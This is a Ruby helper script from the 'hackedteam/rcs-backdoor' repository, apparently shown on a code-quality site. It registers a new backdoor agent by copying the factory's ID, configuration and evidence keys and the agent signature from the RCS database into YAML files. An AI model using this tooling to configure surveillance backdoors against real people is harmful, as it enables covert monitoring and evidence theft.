hackedteam/rcs-backdoor

View on GitHub
bin/rcs-backdoor-add

Summary

Maintainability
Test Coverage
#!/usr/bin/env ruby
# encoding: utf-8

require 'yaml'
require 'pry'
require 'json'
require 'moped'
require 'digest/sha1'
require 'optparse'

ARGV << "--help" if ARGV.empty?

$options = {db_addr: 'localhost'}

OptionParser.new do |parser|
  parser.banner = "Add configuration entry for a new backdoor"

  parser.on("-d", "--db ADDR", "Default is localhost. Specify db addr") do |addr|
    $options[:db_addr] = addr
  end

  parser.on("-n", "--name FACTORY_NAME", "Specify the factory name") do |name|
    $options[:factory_name] = name
  end
end.parse!

def db_address
  "#{db_host}:27017"
end

def db_host
  $options[:db_addr]
end

def session
  @session ||= begin
    session = Moped::Session.new([db_address])
    session.use('rcs')
    session
  end
end

def can_reach_db?
  session.collections.count rescue nil
end

def factory_name
  $options[:factory_name]
end

def factory
  @factory ||= session['items'].find({_kind: 'factory', name: factory_name}).first
end

def signature
  doc = session['signatures'].find(scope: 'agent').first
  doc['value'].to_s if doc
end

def append_configuration(filename, hash)
  path = File.expand_path("../#{filename}", __FILE__)
  raise("Unable to find file #{path}") unless File.exists?(path)
  raise("#{filename} already has an entry named #{entry_name.inspect}") if File.read(path) =~ /#{entry_name}/i

  File.open(path, 'a') do |f|
    f.write("\n")
    f.write("#{entry_name}:\n")
    hash.each { |key, value| f.write("  #{key}: #{value}\n") }
  end
end

def entry_name
  "fac_" << factory_name.to_s.downcase.gsub(/[^a-z0-9]/, '').strip
end

def update_binary_yaml
  hash = {
    :BACKDOOR_ID    => factory['ident'],
    :BACKDOOR_TYPE  => 'OSX',
    :CONF_KEY       => factory['confkey'],
    :EVIDENCE_KEY   => factory['logkey'],
    :SIGNATURE      => signature,
    :VERSION        => 2013103101
  }

  append_configuration('binary.yaml', hash)
end

def instance_id
  @instance_id ||= Digest::SHA1.hexdigest(rand(1E20).to_s)
end

def update_ident_yaml
  hash = {
    :INSTANCE_ID  => instance_id,
    :USERID       => "topac#{rand(1E5)}",
    :DEVICEID     => '',
    :SOURCEID     => '',
  }

  append_configuration("ident.yaml", hash)
end

raise "Unable to connect to database #{db_address.inspect}" unless can_reach_db?
raise "Unable to find factory name #{factory_name.inspect}" unless factory
raise "Unable to find agent signature in db #{db_address.inspect}" unless signature

update_binary_yaml
update_ident_yaml

puts "Configuration entry added to binary.yaml and ident.yaml"
cmd = "./bin/rcs-backdoor -s #{db_host} -c #{entry_name}"
puts "Try to sync with the command #{cmd} (the command has been copied on clipboard)"

exec("echo '#{cmd}' | pbcopy")